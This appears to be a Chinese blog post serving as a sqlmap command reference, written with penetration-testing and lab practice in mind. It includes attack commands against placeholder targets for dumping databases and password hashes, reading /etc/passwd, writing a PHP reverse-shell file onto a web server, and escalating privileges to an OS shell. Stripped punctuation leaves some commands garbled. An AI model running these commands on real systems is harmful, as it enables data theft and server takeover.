多少六朝兴废事尽入渔樵闲话。导航壹 - 工具简介贰 - 命令用法[*]目标请求注入检测[*]枚举[*]杂项API叁 - 杂七杂八壹 - 工具简介sqlmap 是一款自动化检测与利用 SQL 注入漏洞的免费开源工具。贰 - 命令用法参考手册sqlmap -h或sqlmap -hh[*]目标选项-u对单一目标URL 进行扫描。python sqlmap.py-uhttp://www.target.com/vuln.php?id1--dbs选项-d可直连数据库进行利用。【注需提供连接数据库的账户和密码。】python sqlmap.py-dmysql://admin:admin192.168.21.17:3306/testdb--dbs选项-r可直接从文本中读取 HTTP 请求进而免于配置请求相关的参数。如–data、–cookie 等。python sqlmap.py-rhttp-request.txt--dbs选项-m可从文本文件中读取多个目标进行批量扫描。python sqlmap.py-rurl-list.txt--dbs选项-c可从 INI 配置文件中读取用户的选项配置。此选项与--save选项配合效果会更好。#使用 save 选项先生成配置文件python sqlmap.py-uhttp://www.target.com/vuln.php?id1--dbs--savesql.ini#若想对配置文件进行微调可在微调之后再根据此配置文件的参数运行 sqlmappython sqlmap.py-csql.ini请求选项--data可附带 POST 请求所需要发送的数据。python sqlmap.py-uhttp://www.target.com/vuln.php--dataid1--dbs选项--cookie可附带 Web 会话所需的身份信息。【注在面对那些需要登录才能访问的页面时此选项很必须。】python sqlmap.py-uhttp://www.target.com/vuln.php--cookiesecuritylow;PHPSESSIDcju1k9fnrue6--dbs注入选项-p可仅对指定的参数进行测试但这会使 sqlmap 忽略--level的设置。#仅测试 GET 参数 id 和 HTTP User-Agent。python sqlmap.py-uhttp://www.target.com/vuln.php?id1-pid,user-agent--dbs#针对 URL 路径的扫描测试。【注sqlmap 默认并不会对 URI 路径进行注入点扫描】python sqlmap.py-uhttp://targeturl/param1/value1*/param2/value2/选项--skip可跳过对指定的参数进行测试通常需要配合--level使用。#在进行 --level5 级别的扫描时跳过对 HTTP 请求中 User-Agent 和 HTTP Referer 参数的测试。python sqlmap.py-uhttp://www.target.com/vuln.php?id1--skipuser-agent,referer--level5--dbs选项--param-exclude可基于正则表达式来跳过对某些参数的测试。#在进行 --level5 级别的扫描时跳过对 HTTP 请求中包含 token 或 session 名称的参数测试python sqlmap.py-uhttp://www.target.com/vuln.php?id1--param-excludetoken|session--level5--dbs检测选项--level可控制 sqlmap 检测注入点的范围。【默认为1则只是测试 GET 和 POST 的相关参数大于等于2则会测试 HTTP Cookie 头部大于等于3则会测试 HTTP UserAgent/Referer 头部值。总而言之 值越高检测的范围也会越大。】选项--risk可控制 sqlmap 检测载荷的风险级别。【默认级别是1对大多数 SQL 注入点而言没有任何风险。级别2则会在默认的基础上添加大量时间型盲注语句测试级别3则会在原基础上添加OR类型的布尔型盲注测试。】python sqlmap.py-uhttp://www.target.com/vuln.php?id1--risk2--level5--dbs[*]枚举选项--banner、--hostname、--current-user、--current-db、--is-dba可显示系统相关信息。python sqlmap.py-uhttp://www.target.com/vuln.php?id1--banner--hostname--current-user --current-db --is-db...输出结果... web server operating system: Linux Ubuntu10.04(Lucid Lynx)web application technology: PHP5.3.2, Apache2.2.14 back-end DBMS operating system: Linux Ubuntu back-end DBMS: MySQL5.0banner:5.1.41-3ubuntu12.6-logcurrent user:dvwa%current database:dvwahostname:owaspbwacurrent user is DBA: False...选项--users、--passwords、--privileges可枚举 mysql.user 表中所有用户、密码哈希、权限相关信息。【注前提是当前 sql 用户拥有相应的读权限。】python sqlmap.py-uhttp://www.target.com/vuln.php?id1--users--passwords--privileges...输出结果... database management systemusers[38]:[*]bricks%... database management systemuserspassword hashes:[*]bricks[1]: password hash: *255195939290DC6D228944BCC682D2427DA57E21... database management systemusersprivileges:[*]bricks%(administrator)[27]: privilege: ALTER privilege: ALTER ROUTINE privilege: CREATE...选项--dbs、--tables --exclude-sysdbs、--columns、--count可列出 所有库、所有表除系统库之外的所有库的表、所有列当前库中的所有表的列、所有库表中的数据条目统计。此外配合-D dbname -T tabname可列出指定库指定表信息。#1所有库查询python sqlmap.py-uhttp://www.target.com/vuln.php?id1--dbs...输出结果... available databases[34]:[*]bwapp[*]citizens[*]dvwa...#2所有表查询python sqlmap.py-uhttp://www.target.com/vuln.php?id1--tables--exclude-sysdbs...输出结果... Database: bwapp[4tables]------------------------------------|blog||heroes||movies||users|------------------------------------...#3当前库当前表的列描述python sqlmap.py-uhttp://www.target.com/vuln.php?id1-Dbwapp-Tusers--columns...输出结果... Database: bwapp Table:users[9columns]-------------------------------|Column|Type|-------------------------------|admin|tinyint(1)||activated|tinyint(1)||activation_code|varchar(100)||email|varchar(100)||id|int(10)||login|varchar(100)||password|varchar(100)||reset_code|varchar(100)||secret|varchar(100)|-------------------------------...#4所有库所有表的条目数据统计python sqlmap.py-uhttp://www.target.com/vuln.php?id1--count...输出结果... Database: bwapp ------------------------------------------------|Table|Entries|------------------------------------------------|blog|12||movies|10||heroes|6||users|5|------------------------------------------------...选项--dump可转储当前库中所有表的所有数据配合--start 1 --stop 2可仅导出每个表中的前 2 条数据。 此外再配合-D dbname -T tabname可转储指定库指定表的数据信息。#1导出 dava 库中 guestbook 表的第一条数据。python sqlmap.py-uhttp://www.target.com/vuln.php?id1--dump-Dbwapp-Tusers--start1--stop1...输出结果... Database: dvwa Table: guestbook[1entry]---------------------------------------------|comment_id|name|comment|---------------------------------------------|1|test|This is atestcomment.|---------------------------------------------...选项--search配合-C col1,col2、-T tab1,tab2、-D db1,db2可在所有数据库中搜索符合的数据库名、表名、列名。#在整个数据库中搜索匹配 user 和 pass 的表。python sqlmap.py-uhttp://www.target.com/vuln.php?id1--search-Tuser,pass...输出结果... Database: bwapp[1table]-----------------------------|users|-----------------------------...[*]杂项选项-v可控制输出信息的详细等级。 默认是 1使用 0 则输出会更简洁。选项--batch可让 sqlmap 直接按照默认的选项运行不再不停的询问。选项--flush-session可清空 sqlmap 的会话文件内容。这样你可以避免 sqlmap 默认的缓存机制。【注默认的会话缓存路径~/.local/share/sqlmap/output/】选项--wizard可为用户提供一个询问式向导界面。选项--os-shell会检查 mysql UDF 提权条件若符合则直接提权并获得目标机器的 shell。【注此方法对 Windows 下的 mysql 较为有效因为其服务的运行权限通常较高如 SYSTEM。 而在 Linux 下成功率则不高。】选项--sql-shell会为用户提供一个简易的 SQL 客户端供简单使用。选项--shell为用户提供一个可以交互的 sqlmap shell。【注意交互内容是一些 sqlmap 的参数信息而非 SQL 语句。】python sqlmap.py-uhttp://www.target.com/vuln.php?id1--cookiesecuritylow;PHPSESSIDqf12-v0--shell...交互阶段...--users...--dbs...选项--file-read可在目标服务器文件系统中读取文件。【前提条件1当前用户拥有服务器权限 FILE。2当前 mysql 服务的运行账户linux 下一般是 mysql 账户拥有读取文件的权限。】python sqlmap.py-uhttp://www.target.com/vuln.php?id1--file-read/etc/passwd选项--file-write --file-dest可向目标服务器文件系统中写入文件。【前提条件1当前用户拥有服务器权限 FILE。2当前 mysql 服务的运行账户linux 下一般是 mysql 账户拥有在指定目录写入文件的权限。3mysql 的系统变量 secure_file_priv 禁止 mysql 向文件系统写入文件。】python sqlmap.py-uhttp://www.target.com/vuln.php?id1-file-write/root/php-reverse-shell.php--file-dest/var/www/html/shell.php选项--crawl可自动爬取网址并对爬取到的 URL 进行 SQL 注入扫描。python sqlmap.py-uhttp://192.168.21.128/sqlmap/mysql/--batch--crawl3API该功能被应用于 BurpSuite 插件 SQLiPy它将 Sqlmap 很好的集成在了 BurpSuite 中。#在本地启动 sqlmap 的 API 接口服务sqlmapapi-s-H127.0.0.1-p8775#连接本机 sqlmap 的 API 接口服务sqlmapapi-c-H127.0.0.1-p8775叁 - 杂七杂八1常用示例。#适用于 Windows 下的 mysql UDF 提权sqlmap-dmysql://root: yourpassword192.168.56.20:3306/dbname--os-shell#检测与枚举sqlmap-uhttp://www.target.com/vuln.php?id1*--dataid1--cookiesecuritylow;PHPSESSIDcju1k9fnrue6-pid--flush-session-v0--level5--risk1--banner--hostname--current-user --current-db --is-db--users--dbs#数据库表转储sqlmap-uhttp://www.target.com/vuln.php?id1*--dataid1--cookiesecuritylow;PHPSESSIDcju1k9fnrue6-pid-v0-Dtest-Ttable--dump--batch#服务器文件读取sqlmap-uhttp://www.target.com/vuln.php?id1--file-read/etc/passwd2MySQL 常见语句#1新建用户 CREATE USER name% IDENTIFIED BY pass; GRANT ALL ON *.* TO user% FLUSH PRIVILEGES; #2增删查改 SELECT * FROM users WHERE id 1; DELETE FROM users WHERE id 1; INSERT INTO users (name,pass) VALUES (test,pass); UPDATE user SET name str , pass str WHERE id 1; #3常见语法 select version #MySQL 版本查询 select user() #当前用户 select database() #当前库 show databases #所有库查询 show tables #当前库所有表查询 #4高级查询 select group_concat(schema_name) from information_schema.schemata #所有库查询 select group_concat(table_name) from information_schema.tables where table_schemamysql #mysql 库的所有表查询 select substring(group_concat(table_name),1,10) from information_schema.tables where table_schemamysql #输出的表太长时可能会发生截断此时可以采取分段裁剪以读取全部表。我的博客园